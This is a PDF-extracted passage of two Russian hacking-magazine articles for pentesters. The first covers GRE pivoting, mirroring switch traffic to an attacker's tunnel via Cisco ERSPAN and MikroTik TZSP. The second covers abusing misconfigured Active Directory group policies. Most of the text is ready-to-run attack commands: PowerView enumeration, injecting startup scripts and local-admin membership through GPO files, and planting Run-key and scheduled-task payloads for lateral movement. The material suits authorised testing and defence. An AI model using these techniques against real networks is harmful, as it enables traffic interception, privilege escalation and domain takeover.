Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.06 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

BUY

 

 

 

to

 

 

 

.co

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

p

df

 

c

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

КАК РАБОТАЕТ GRE-ПИВОТИНГ ПОВЕРХ СЕТЕВОГО ОБОРУДОВАНИЯ

Схема­ постро­ ения­ туннеля­ L2

На машине Relapse два физических­ интерфейса­ . Второй­ физический­ интерфейс eth1 смотрит­ в некую подсеть­ , о которой мы не знали­ . Импорти­ руем модуль для работы с GRE, создаем­ интерфейс GRETAP, создаем­ сетевой мост, куда мы поместим­ сам GRE и тот физический­ интерфейс.

c4s73r@Relapse:~$ sudo modprobe ip_gre

с4s73r@Relapse:~$ sudo ip link add

name eviltap type gre local

192.168.20.20 remote 172.16.0.1

 

c4s73r@Relapse:~$ sudo brctl addbr

internal

c4s73r@Relapse:~$ sudo brctl addif

internal eviltap

c4s73r@Relapse:~$ sudo brctl addif

internal eth1

c4s73r@Relapse:~$ sudo ip link set

internal up

c4s73r@Relapse:~$ sudo sysctl -w net.ipv4.ip_forward=1

Запус­ тим­ Wireshark на стороне­ атакующе­ го­ , на TAP-интерфейсе­ .

В трафике­ обнаружи­ ­ваем работу протоко­ ­лов STP и DTP, это говорит о том, что мы сумели попасть в канальный­ сегмент­ .

Как видим в трафике­ (Wireshark был запущен для интерфейса­ evilgretap), добавился­ еще один заголовок­ GRE. Его идентифика­ ­тор равен 0x6558, что говорит о взаимо­ ­дей­ствии GRE с Ethernet-мостом­ .

Попробу­ ем­ получить адрес по DHCP:

c4s73r@kali:~$ sudo dhclient -v evilgretap

Получен­ ный­ по DHCP адрес

Во время­ получения­ адреса­ по DHCP из TAPинтерфейса­ возможно­ добавление­ другого­ мар­ шрута­ по умолчанию­ , который может нарушить сетевую связность­ . Вниматель­ но­ изучай­ свою таблицу­ маршру­ тиза­ ции­ во время­ траблшу­ тин­ га­ и удали­ , что нужно­ , из таблицы­ маршру­ тиза­ ции­ .

Таким­ образом­ , мы получаем­ доступ­ к L2-контуру­ с машины Relapse и воз­ можность проводить­ L2-атаки­ .

LLMNR/NBNS Poisoning

Взломан­ ный­ пароль пользовате­ ля­ user

ARP Spoofng, part 1

ARP Spoofng, part 2

ВОЗМОЖНЫЕ ПРОБЛЕМЫ С MTU

В компьютер­ ной­ сети есть такое понятие, как MTU. Это специаль­ ный­ параметр, который указыва­ ет­ на максималь­ ный­ размер­ полезных­ данных­ во вложении­ . MTU есть и на физическом­ интерфейсе­ , и на туннель­ ном­ . На физическом­ интерфейсе­ без примене­ ния­ Jumbo Frame максималь­ ный­ MTU составля­ ет­ 1500 байт, то есть только­ 1500 байт можно­ вложить­ в Ethernet.

А что с GRE? Это ведь логический­ интерфейс. MTU на туннель­ ном­ интерфейсе­ GRE составля­ ет­ 1476 байт. Такой MTU говорит только­ о том, что размер­ полезных­ данных­ необходимо­ уменьшить­ до 24 байт, чтобы­ кадр про­ шел через туннель­ ный­ интерфейс без выполнения­ фрагмента­ ции­ .

Почему­ именно­ 24 байта­ ? Потому что во время­ возникно­ ­вения GREинкапсуляции­ добавляют­ ­ся два заголовка­ :

Delivery Packet, он равен 20 байтам­ ;

GRE-заголовок­ , равен 4 байтам­ .

Вслучае­ L2 GRE over L3 GRE MTU на туннель­ ­ном интерфейсе­ вообще­ должен­ быть 1472 байта­ , посколь­ ­ку занимаются­ 28 байт (из за второго­ GRE-заголов­ ка).

Но на самом деле туннель­ ­ный интерфейс GRE сможет­ работать согласно­

MTU физического­

 

интерфейса­ ,

то есть передавать­

полезные­

данные­

в Ethernet-кадре­ размером­

1500 байт включитель­

но­ .

 

 

 

 

 

 

 

При необходимос­ ти­ можно­ увеличить­

MTU на туннель­

ном­

интерфейсе­ , если

возника­ ют­ задержки­

и проблемы­

с передачей­

данных­ . Во время­ увеличе­ ния­

MTU туннель­

ного­

интерфейса­ передаваемые­

IP-пакеты будут подвергать­

ся­

фрагмента­ ции­ , посколь­

ку­ сам интерфейс GRE позволя­

ет­ пропус­ кать­

через

себя больше­

данных­

размером­

1476 байт. Однако­ фрагмента­ ции­

 

может

помешать специаль­

ный­

DF-бит в IP-пакете. Этот бит в принципе­

запреща­ ет­

фрагмента­ цию­

пакета.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для Cisco IOS:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PWNED(config)# interface tunnel X

PWNED(config-if)# ip mtu 1514

Для RouterOS v. 6:

[admin@EdgeGW] /interface gre> set mtu=1514 name=gre_pivoting

До повышения­ MTU оригиналь­ ­ный пакет (пассажир­ ) упирал­ ­ся бы в 1476 байт, а пакет может быть и не фрагменти­ ­рован из за специаль­ ­ного DF-бита, который запреща­ ­ет фрагмента­ ­цию IP-пакета. Но после­ повышения­ MTU ори­ гинальный­ пакет не будет упирать­ ­ся в это ограниче­ ­ние, а фрагменти­ ­ровать­ся начнет­ второй­ IP-пакет (Delivery Packet), который здесь из за GRE-инкапсу­

ляции, а у этого­ Delivery Packet DF-бита нет.

Если­ ты впервые­ сталкива­ ­ешь­ся с темой MTU, она может оказать­ ­ся сложной­ для понимания­ . Поэтому­ рекомендую­ разобрать­ ­ся подробнее­ .

Maximum transmission unit (Wikipedia)

What is MTU? (блог Cloudfare)

Network Basics — Maximum Transmission Unit (YouTube)

ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ CISCO ERSPAN

ERSPAN (Encapsulated Remote Switch Port Analyzer) — это функция­ зеркалиро­ ­

вания трафика­ , однако­ , в отличие­ от SPAN/RSPAN, она может передавать­ зер­ калирован­ ­ный трафик­ поверх канала L3. Кстати­ говоря, она также­ использует­ протокол­ инкапсуляции­ GRE для передачи­ данных­ поверх L3-соединений­ . Этим может восполь­ ­зовать­ся атакующий­ и проана­ ­лизи­ровать трафик­ внут­ ренней инфраструктуры­ в поисках­ чувстви­ ­тель­ных данных­ либо узнать особен­ ­ ности инфраструктуры­ . ERSPAN — это проприетар­ ­ная разработ­ ­ка Cisco, поэто­ му продемонс­ ­три­рую вариант­ перехвата­ трафика­ именно­ на оборудо­ ­вании

Cisco.

Я буду зеркалиро­ ­вать трафик­ с интерфейса­ gi2 на IP-адрес 172.16.0.1 — это адрес туннель­ ­ного интерфейса­ GRE системы­ атакующе­ ­го. Приступим­

кконфигура­ ции­ . Основные параметры­ здесь:

идентифика­ тор­ сессии­ ERSPAN;

интерфейс­ источника­ ;

указание­ ERSPAN ID;

IP-адрес, куда будет отправлять­ ся­ зеркалиро­ ван­ ный­ трафик­ ;

IP-адрес источника­ зеркалиро­ ван­ ного­ трафика­ ;

MTU (1900).

CSR(config)#monitor session 337 type erspan-source

CSR(config-mon-erspan-src)#source interface gigabitEthernet 2

CSR(config-mon-erspan-src)#no shutdown

CSR(config-mon-erspan-src)#destination

CSR(config-mon-erspan-src-dst)#erspan-id 337

CSR(config-mon-erspan-src-dst)#ip address 172.16.0.1

CSR(config-mon-erspan-src-dst)#origin ip address 172.16.0.2

CSR(config-mon-erspan-src-dst)#mtu 1900

CSR(config-mon-erspan-src-dst)#end

На этом конфигура­ ­ция закончена­ . Можно­ приступить­

к анализу­

трафика­

на нашем интерфейсе­ GRE.

 

 

Перех­ вачен­ ный­ трафик­ OSPF

После­ конфигура­ ­ции ERSPAN мы перехватыва­ ­ем весь трафик­ с интерфейса­ gi2. Например­ , в дампе­ трафика­ запечатлено­ наличие протоко­ ­ла OSPF. Обра­ тив внимание­ на заголовки­ , видим, что среди­ них есть заголовок­ ERSPAN. То есть оригиналь­ ­ный трафик­ , который был зеркалиро­ ­ван для отправки­ до адре­ сата, был развернут­ в туннель­ GRE с использовани­ ­ем ERSPAN-инкапсуляции­ . Еще один пример­ — перехвачен­ ­ный ICMP-трафик­ . Видимо, внутри­ инфраструктуры­ шли пинги­ до сетевого­ оборудо­ ­вания. В трафике­ может быть

все что угодно­ , но мы остановим­ ­ся на этих примерах­ .

Перех­ вачен­ ный­ ICMP-трафик­

ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ TZSP (MIKROTIK)

Протокол­ TZSP (TaZmen Snifer Protocol) — аналог­ протоко­ ла­ ERSPAN. Здесь абсолют­ но­ те же самые функции­ . TZSP может передавать­ зеркалиро­ ван­ ный­ трафик­ поверх L3-канала и обычно­ использует­ ся­ в инстру­ мен­ те­ Packet Snifer

внутри­ RouterOS.

Перехо­ ­дим в раздел­ конфигура­ ­ции Packet Snifer, расположен­ ­ный в меню Tools, и настра­ ­иваем следующие­ параметры­ :

streaming-enabled — активиру­ ­ет работу сниффера­ ;

streaming-server — IP-адрес, куда будет отправлять­ ­ся зеркалиро­ ­ван­ ный трафик­ ;

filter-interface — интерфейсы­ источника­ , откуда­ будет дублировать­ ­ ся трафик­ ;

filter-stream — cниффер­ будет работать согласно­ политике­ фильтров­ .

[admin@EdgeGW] > /tool sniffer

[admin@EdgeGW] /tool sniffer> set streaming-enabled=yes streaming-

server=172.16.0.1 filter-interface=ether1,ether2 filter-stream=yes

[admin@EdgeGW] /tool sniffer> start

Перех­ вачен­ ный­ с помощью TZSP OSPF-трафик­

ВЫВОДЫ

Пример­ но­ такими способа­ ми­ можно­ восполь­ зовать­ ся­ для пивотинга­ внутрь инфраструктуры­ или поверх сетевого­ оборудо­ вания­ . Надеюсь­ , моя работа подарит пентесте­ рам­ и редтимерам­ новый полезный­ прием­ . Главное­ здесь — протокол­ GRE, который предос­ тавля­ ет­ могучие возможнос­ ти­ как сетевым инженерам­ , так и специалис­ там­ по тестирова­ нию­ на проник­ новение­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ НЕБЕЗОПАСНЫЕ ГРУППОВЫЕ ПОЛИТИКИ

Основная­ причина­ успеха­ большинс­ тва­ взломов­ , будь то пентест­ или реальное­ проник­ новение­ злоумыш­ ленни­ ков­ , — это допущенные­ админис­ тра­ тора­ ми­ ошибки­ в настрой­ ках­ и конфигура­ ции­ . Сегодня­ мы поговорим­ о способах­ эксплу­ ­ атации­ небезопас­ ных­ групповых­ политик в сетях Active Directory.

MichelleVermishelle michael.zhmailo@yandex.ru

 

Статья имеет­ ознакоми­

тель­ ный­

характер­ и пред­

 

назначена­

для

специалис­

тов­

по безопасности­

,

 

проводя­

щих­

тестирова­

ние­

в рамках­

контрак­ та­ .

 

Автор и

редакция­

не несут

 

ответствен­ ности­

 

за любой вред, причинен­ ный­

с примене­ нием­

 

изложен­ ной­

информации­ . Распростра­

нение­

вре­

 

доносных­

программ­ , нарушение­

работы систем­

 

и нарушение­

тайны­

переписки­ преследу­

ются­

 

по закону.

 

 

 

 

 

 

 

 

 

 

 

 

СТРУКТУРА

Групповые­ политики­ используют­ ­ся повсемес­ ­тно. Это удобный­ инстру­ ­мент, позволя­ ­ющий системным­ админис­ ­тра­торам управлять настрой­ ­ками клиент­ ­ских систем­ в домене. Сама «архитек­ ­тура» групповых­ политик — клиент­ серверная­ . Чаще всего­ контрол­ ­лер домена выступа­ ­ет в роли сервера­ , на котором соз­ даются­ , настра­ ­ивают­ся и изменяют­ ­ся политики­ , а доменные­ компьюте­ ­ры, пользовате­ ­ли и иные объекты­ в AD — клиенты­ , которые эти самые политики­ получают­ и применя­ ­ют.

Групповая­ политика­ называется­ Group Policy Object (GPO). Внутри­ каждой­ GPO есть две сущности­ :

Group Policy Container — специаль­ ­ный объект­ , который имеет­ идентифика­ ­ тор GUID, обознача­ ­ющий групповую­ политику­ . Находится­ в CN=Policies, CN=System;

Group Policy Template — файлы­ .ADMX и .ADML, позволя­ ­ющие с помощью GPO управлять объекта­ ­ми в AD.

GPO применя­ ­ется к Organizational Units (организа­ ­цион­ным единицам­ ). Можно­ считать­ это некой папкой­ , в которой находятся­ пользовате­ ­ли, компьюте­ ­ры и другие­ объекты­ .

Изначаль­ ­но в только­ что созданном­ домене будут две политики­ :

Default Domain Policy — назнача­ ­ется текущему­ домену;

Default Domain Controller’s Policy — назнача­ ­ется OU, в состав­ которого­ вхо­

дит контрол­ ­лер домена. По умолчанию­ имя этой OU — Domain Controllers.

Атеперь зайдем­ в ADUC и увидим­ , что наравне­ с OU в домене существу­ ­ют и контей­ ­неры.

Контей­ ­неры — это лишь дополнитель­ ­ные объекты­ , позволя­ ­ющие организо­ ­вать структуру­ AD. К контей­ ­неру нельзя­ привязать­ GPO. Чтобы­ применить­ GPO к контей­ ­неру, сначала­ следует­ добавить его в соответс­ ­тву­ющую OU и уже к ней привязы­ ­вать GPO.

GPO распростра­ ­няет­ся по сети через общий сетевой ресурс SYSVOL, который хранит­ ­ся на контрол­ ­лере домена. Все пользовате­ ­ли в домене обычно­ имеют­ к нему доступ­ и периоди­ ­чес­ки синхро­ ­низи­руют­ся для обновления­ нас­ троек­ своих­ объектов­ групповой­ политики­ . Общий ресурс SYSVOL по умол­ чанию указыва­ ­ет на каталог C:\Windows\SYSVOL\sysvol\ на контрол­ ­лере домена.

Для синхро­ низа­ ции­ нужно­ время­ . Иногда­ на обновление­ настро­ ек­ может уйти до двух часов. Если нам требует­ ся­ немедленная­ синхро­ низа­ ция­ , то на компьюте­ ре­ надо ввести­ команду­

gpupdate /force

С GPO могут быть связаны­ какие либо права­ . Например­ , пользователь­ Admin11111 имеет­ право­ GenericAll на политику­ UsersInfo. Неправиль­ ­ная настрой­ ­ка таких прав приводит­ к появлению­ векторов­ эксплу­ ­ата­ции, которые мы рассмот­ ­рим в сегодняшней­ статье.

ОБНАРУЖЕНИЕ

Обнаружить­ доступные­ GPO можно­ следующим­ образом­ :

ls \\<домен>\SYSVOL\<домен>\Policies\

В результате­ мы получим GUID всех доступных­ политик.

Если­ у нас есть доступ­ к Active Directory Module, то сможем­ получить информацию­ вот так:

Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)"

-Properties Name, DisplayName,gPCFileSysPath | select Name,

DisplayName,GPCFileSysPath | Format-List

Наконец­ , PowerView имеет­ такую же функци­ ональ­ ность­ :

Get-NetGpo

Теперь­

желательно­ из GUID получить имя

 

политики­ . Конечно­ , AD Module

и PowerView умеют­ делать это самостоятель­

но­ , но в случае­ , если у нас есть

только­ GUID, имя можно­ получить следующим­

образом­ :

# RSAT

Get-Gpo -GUID '{205F0E03-17C3-4E9B-925E-330FAD565CA1}'

# PowerView v3

Get-DomainGPO -Identity '{

205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName

Мы также­ можем изучить­ политики­ , привязан­ ные­ к определен­ ному­ устройству­ :

# PowerView v2

Get-NetGPO -ComputerName name.domain.com

# PowerView v3

Get-DomainGPO -ComputerIdentity name.domain.com -Properties

Name, DisplayName

Наконец­ , самое интерес­ ное­ . Пора изучать­ все ACL на найден­ ные­ GPO, пыта­ ясь найти­ мисконфиг­ . Сделать­ это можно­ с помощью разных­ средств. Чаще всего­ используют­ ся­ или BloodHound, или PowerView:

#PowerView v2

#Получение ACL на все политики

Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# Найти GPO, на которые пользователь student имеет права

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

| ?{$_.IdentityReference -match "student"}

Пользователь­ vaska имеет­ подозритель­ ­но высокие права­ на GPO с GUID { 31B2F340-016D-11D2-945F-00C04FB984F9}. PowerView третьей­ версии­ (он же

PowerView DEV) не отстает­ от своего­ младшего­ собрата­ , но отличает­ ­ся тем, что не умеет­ автомати­ ­чес­ки преобра­ ­зовы­вать SID в понятное­ для человека­ имя пользовате­ ­ля, поэтому­ в конец каждого­ командле­ ­та добавляет­ ­ся огромная строка­ :

# PowerView v3

# Находим ACL на все политики

Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs |

Foreach-Object {$_ | Add-Member -NotePropertyName Identity

-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value)

-Force; $_}

#Находим GPO, на которые у пользователя domain\user есть

права

Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}| Foreach-Object {if ($_.Identity -eq $("domain\user"))

{$_}}

#Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права:

Get-DomainObjectAcl -LDAPFilter '( objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier

-match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}

#Обнаружение пользователей (кроме ожидаемых, таких как

Enterprise Admins, Domain Admins), которые могут изменять GPO Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_

.ActiveDirectoryRights -match "GenericWrite|AllExtendedRights|WriteDacl|WriteProperty|WriteMembe r|GenericAll|WriteOwner"

-and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }

Наконец­ , можно­ использовать­ BloodHound:

// Находим политики, на которые пользователь USER@DOMAIN.

LOCAL имеет права

match p=AllShortestPaths((u:User {name: "USER@DOMAIN.LOCAL"})

-[r:MemberOf|GenericWrite*1..]->(o:GPO)) return p

Теперь­ , обнаружив­ политики­ и возможный­ мисконфиг­ в виде пользовате­ ля­ vaska с подозритель­ ными­ привиле­ гиями­ , можно­ приступать­ к получению­ учет­ ной записи этого­ пользовате­ ля­ . Причем­ разведка­ на этом не заканчива­ ется­ , мы можем обнаружить­ объекты­ , которые имеют­ право­ создавать­ новые GPO в домене:

Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,

DC=lab" -ResolveGUIDs | where { $_.ObjectAceType -eq

"Group-Policy-Container" }

Чтобы­ найти­ все OU, на которые распростра­ ­няет­ся политика­ , восполь­ зуем­ ся­ вот таким скриптом­ :

# PowerView v2

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {

Get-NetComputer -ADSpath $_}

# PowerView v3

Get-DomainOU -GPLink '{<GPP_GUID>}' | % {Get-DomainObject

-SearchBase $_.distinguishedname}|select samaccounttype, cn

Теперь­ поищем пользовате­ лей­ , которые могут связывать­ GPO с OU:

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.

ObjectAceType -eq "GP-Link" }

Get-DomainOU|Get-DomainObjectAcl -ResolveGUIDs | where { (($_.

ObjectAceType -match "GP-Link|GP-Options") -and ($_.

ActiveDirectoryRights -eq "WriteProperty")) -or ($_.

ActiveDirectoryRights -eq "WriteProperty|GenericAll|GenericWrite")

} |Foreach-Object {$_ | Add-Member -NotePropertyName Identity

-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value)

-Force; $_}

ЭКСПЛУАТАЦИЯ

mmc

Криво­ настро­ ­енные права­ можно­ эксплу­ ­ати­ровать и с помощью стандар­ ­тно­го приложе­ ­ния mmc.exe, установ­ ­ленно­го на каждом­ компьюте­ ­ре c Windows. Сна­ чала запускаем­ это приложе­ ­ние от лица пользовате­ ­ля, имеюще­ ­го права­ на какую либо политику­ . Далее добавляем­ нужную­ оснастку­ .

Добав­ ляем­ оснастку­ Group Policy Management, выбираем­ политику­ и тогда­ сможем­ ее редактировать­ .

Например­ , создадим­ юзера­ , зайдя­ по следующе­ му­ пути:

Computer configuration > Preferences > Control Panel Settings >

Local Users and Groups > New > Local User > Action: Create > User

name: <user>

А затем добавим его в группу­ локальных­ админис­ тра­ торов­ :

Computer configuration > Preferences > Control Panel Settings >

Local Users and Groups > New > Local User > Action: Update >

Group name : <Administrators> > Members: Add: <user>

Файл .ini

Этот способ­ я подсмот­ рел­ у Дмитрия­ Неверова­ , руководите­ ля­ группы­ анализа­ защищенности­ внутренней­ инфраструктуры­ в компании­ «Ростелеком­ Солар». Чаще всего­ доступа­ к графичес­ кому­ интерфейсу­ у нас не будет, поэтому­ при­ дется­ либо использовать­ инстру­ мен­ ты­ , описан­ ные­ ниже, либо вручную­ соз­ давать специаль­ ный­ конфигура­ цион­ ный­ файл.

Например­ , если наша задача — выполнить­ скрипт на конечных­ устройствах­ , то сначала­ нужно­ создать­ каталог \Machine\Scripts\Startup в корне­ GPO и поместить­ в него скрипт Test.ps1. Содержимое­ скрипта­ может быть любым, абсолют­ ­но любые команды­ . Следующим­ шагом в каталоге­ \Machine\ в корне­ GPO потребу­ ­ется открыть файл psscripts.ini. Это скрытый­ файл. Если фай­ ла не существу­ ­ет, его нужно­ создать­ . Содержимое­ файла­ будет таким:

[Startup]

0CmdLine=Test.ps1

0Parameters=

Этот файл содержит­ ссылку­ на скрипт, который нужно­ выполнить­ . Также­ при необходимос­ ­ти в нем прописы­ ­вают­ся параметры­ выполнения­ (когда­ они есть). Если нужно­ запустить­ несколь­ ­ко скриптов­ , первый­ символ­ в этом файле­ будет инкремен­ ­тировать­ся. Для скрипов­ .bat использует­ ­ся файл scripts.

ini.

После­ завершения­ подготови­ тель­ ных­ действий­ остается­ только­ изменить­ атрибут­ gpcmachineextensionnames с помощью PowerView:

Set-DomainObject -Identity VulnGPO -Set @{

'gpcmachineextensionnames'=' [{

42B5FAAE-6536-11D2-AE5A-0000F87571E3}{

40B6664F-4972-11D1-A7CA-0000F87571E3}]'}

Значения­

42B5FAAE-6536-11D2-AE5A-0000F87571E3 и 40B6664F-4972-11D1-

A7CA-0000F87571E3

документирова­ ны­

как

ProcessScriptsGroupPolicy

и Scripts

(Startup/Shutdown). Используя­

их в GPO, мы создаем­

воз­

можность выполнения­

скрипта­ при примене­ нии­ групповой­

политики­ .

 

 

 

Причем­

если атрибут­

gpcmachineextensionnames уже содержит­

другие­

записи, то их тоже нужно­ внести­ в команду­ . Также­ стоит­ изменить­

параметр

Version в файле­ GPT.ini на единицу­

. Теперь после­ перезагрузки­

компьюте­ ра­

скрипт Test.ps1 будет выполнен­ . По умолчанию­

задержка­

на выполнение­

скриптов­ составля­ ет­ пять минут.

 

 

 

 

 

 

 

 

 

 

 

 

 

Подоб­ ным­

образом­

можно­

добавлять­

локальных­

админис­ тра­ торов­

на компьюте­ ре­ . Сначала­

создаем­

файл GptTmpl.inf по пути \Machine\

Microsoft\Windows NT\SecEdit (иногда­

эти каталоги­ отсутству­ ют­

и их при­

дется­ создать­

). Содержимое­

файла­ будет следующим­

:

 

 

 

 

 

 

 

[Unicode]

Unicode=yes

[Version]

signature="$CHICAGO$"

Revision=1

[Group Membership]

*S-1-5-32-544__Members =

*S-1-5-21-2722789902-3858190539-1593706810-1119

Здесь к локальной­ группе­ локальных­ админис­ тра­ торов­ (S-1-5-32-544) добав­

ляется­ SID доменного­ пользовате­ ля­ (S-1-5-21-2722789902-3858190539- 1593706810-1119). При добавлении­ пользовате­ ля­ в группу­ локальных­ адми­ нистра­ торов­ необходимо­ учитывать­ порядок примене­ ния­ GPO. Наши действия­ могут привес­ ти­ к тому, что легитимные­ локальные­ админис­ тра­ торы­ будут уда­ лены из группы­ локальных­ админис­ тра­ торов­ , поэтому­ стоит­ добавить и их SID в файл GptTmpl.inf через запятую.

Следующий­ шаг заключа­ ­ется в изменении­ атрибута­ gpcmachineextensionnames, эту задачу можно­ выполнить­ с помощью

PowerView:

Set-DomainObject -Identity VulnGPO -Set @{

'gpcmachineextensionnames'='[{

827D319E-6EAC-11D2-A4EA-00C04F79F83A}{

803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]'}

827D319E-6EAC-11D2-A4EA-00C04F79F83A

имеет­

значение­

Security,

а 803E14A0-B4FB-11D0-A0D0-00A0C90F574B

Computer Restricted

Groups. Применяя­

их к GPO, мы можем изменять­

списки­ участни­ ков­ локальных­

групп.

 

 

 

 

 

 

 

Помни­ :

если

атрибуты­

 

 

gpcuserextensionnames

и gpcmachineextensionnames уже содержат­

другие­

записи, их также­ нужно­

внести­ в нашу команду­ PowerView. Наконец, не забудь изменить­

параметр

Version в файле­ GPT.ini на единицу­

.

 

 

 

 

Создание GPO

Если­ на этапе­ разведки­ получилось­ обнаружить­ пользовате­ ­ля, который имеет­ право­ создавать­ GPO и связывать­ ее с OU, то это также­ может помочь при экс­ плуата­ ­ции. PowerView не имеет­ возможнос­ ­ти создавать­ GPO, поэтому­ следует­ использовать­ RSAT. Установ­ ­ка этой утилиты­ не представ­ ­ляет никаких слож­ ностей:

Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.

Tools.0.0.1.0

Import-Module GroupPolicy

Заводим­ новую GPO:

New-Gpo -Name TestGPO

Связыва­ ем­ с OU:

Get-GPO TestGPO | New-GPLink -Target "ou=Test,dc=domain,dc=local"

После­ успешного­ связыва­ ­ния можно­ либо вручную­ изменять­ созданную­ GPO, как было показано­ выше, либо использовать­ для этого­ подходящие­ инстру­ ­мен­

ты, например­ SharpGPOAbuse или pyGPOAbuse.

Когда­ работы завершатся­ , GPO будет отвязана­ от OU:

Remove-GPLink -Name TestGPO -Target "ou=Test,dc=domain,dc=local"

И удалена­ :

Remove-GPO -Name TestGPO

Перемещение через GPO

Ничто­ не мешает­ нам использовать­ GPO как средство­ бокового­ перемещения­ . Опять же ставим­ RSAT:

Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.

Tools.0.0.1.0

Import-Module GroupPolicy

И изменяем­ созданную­ политику­ , добавляя­ в реестр (в ключ автозаг­ рузки­ ) наш пейлоад­ :

Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context

Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\

CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.

exe' -Type ExpandString

Если­ установить­ RSAT нет возможнос­ ти­ , то можно­ импортировать­ PowerShellскрипт, который позволя­ ет­ создать­ запланиро­ ван­ ную­ задачу:

New-GPOImmediateTask -TaskName evilTask -Command cmd

-CommandArguments "/c c:\dsec\getadmin.cmd" -GPODisplayName

"VictimGPO" -Verbose -Force

ВЫВОДЫ

Групповые­ политики­ стоят­ далеко не на самом первом­ месте­ в чек листе­ типовых уязвимос­ тей­ Active Directory. Тем не менее, злоупот­ ребляя­ ими, ата­ кующий сможет­ получить чрезвычай­ но­ выгодное­ положение­ , захватив­ сразу­ целый OU. Самое главное­ — не забывай, что изменения­ применя­ ются­ далеко не сразу­ . Компьюте­ рам­ нужно­ время­ для синхро­ низа­ ции­ . Если ждать нет воз­ можности­ , используй­ команду­ gpupdate /force.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

